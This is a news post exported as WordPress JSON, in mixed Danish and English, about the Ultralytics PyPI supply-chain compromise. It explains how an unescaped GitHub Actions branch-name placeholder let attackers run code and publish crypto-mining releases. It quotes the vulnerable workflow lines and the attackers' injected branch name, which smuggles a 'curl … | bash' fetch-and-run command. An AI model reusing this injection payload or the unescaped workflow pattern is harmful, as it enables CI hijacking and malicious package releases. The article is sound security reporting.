{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"En fejl i GitHub Actions-behandleren f\u00f8rte til offentligg\u00f8relsen af ondsindede versioner af Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Angriberne form\u00e5ede at k\u00f8re kode med rettighederne fra GitHub Actions-handleren i Ultralytics Python-biblioteket, der anvendes til computer vision-opgaver som objekter identificering p\u00e5 billeder og billede-segmentering. Efter at have f\u00e5et adgang til depotet, offentliggjorde de angrebne flere nye versioner af Ultralytics i PyPI-kataloget med ondsindede \u00e6ndringer til kryptovaluta-mining. I den sidste m\u00e5ned blev Ultralytics-biblioteket downloadet mere end 6,4 millioner gange fra PyPI-kataloget. <\/p>\n
For the compromise of the repository, a vulnerability in the ultralytics-actions package was exploited, which is used to automatically trigger handlers when certain actions occur on the repository in GitHub, using the GitHub Actions mechanism. In the ultralytics project, the vulnerable handler was linked to the pull_request_target event and was called when new pull requests were submitted. Specifically, for formatting the code in the incoming pull requests, the format.yml handler was called, and the code specified in the 'run' section of the action.yml file was executed, which contained shell commands with placeholders: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name '${{ inputs.github_username }}' git config --global user.email '${{ inputs.github_email }}' <\/p>\n
Thus, the name of the Git branch mentioned in the pull request was substituted into the shell commands without proper escaping. Notably, in August, a similar vulnerability related to the use of an external value in the echo function was already fixed in the ultralytics-actions package: echo 'github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}' <\/p>\n
For at udf\u00f8re deres egen kode i konteksten af GitHub Actions-handleren sendte angriberne en pull-anmodning til ultralytics-depotet og angav f\u00f8lgende som branch-navn: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Accordingly, when a pull request was received, the string specified by the attackers '$(…)' was substituted into the code, which upon the subsequent execution of the handler led to the execution of the code 'curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash'.
<\/center> <\/p>\n
K\u00f8rsel af kode i konteksten af GitHub Actions kan bruges til at fange adgangstoken til repository og andre f\u00f8lsomme data. Hvordan angriberne pr\u00e6cist har form\u00e5et at danne en release og f\u00e5 mulighed for at k\u00f8re deres kode i GitHub Actions, er stadig uklart. Det antages, at dette er blevet muligt ved at \u00e6ndre publish.yml-handleren (angriberne fjernede kontrollen af kontoen, der var godkendt til at publicere releases i PyPI) og ved at bruge teknikken til at forgifte build-cachen i GitHub Actions for at inds\u00e6tte deres egne data i releasen. <\/p>\n
Den f\u00f8rste ondsindede release Ultralytics 8.3.41 blev offentliggjort af gerningsm\u00e6nd den 4. december kl. 23:51 (MSK) og fjernet den n\u00e6ste dag kl. 12:15. Kl. 15:47 blev en anden release 8.3.42 offentliggjort, som blev fjernet kl. 16:47. S\u00e5ledes var de ondsindede versioner tilg\u00e6ngelige for download i alt cirka 13 timer (i l\u00f8bet af en dag registreres der omkring 250.000 downloads af ultralytics-biblioteket i PyPI). I versionerne 8.3.41 og 8.3.42 var der kode, der besk\u00e6ftigede sig med download fra en ekstern server<\/a> komponent XMRig til mining af kryptovaluta. <\/p>\n
![\"En](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n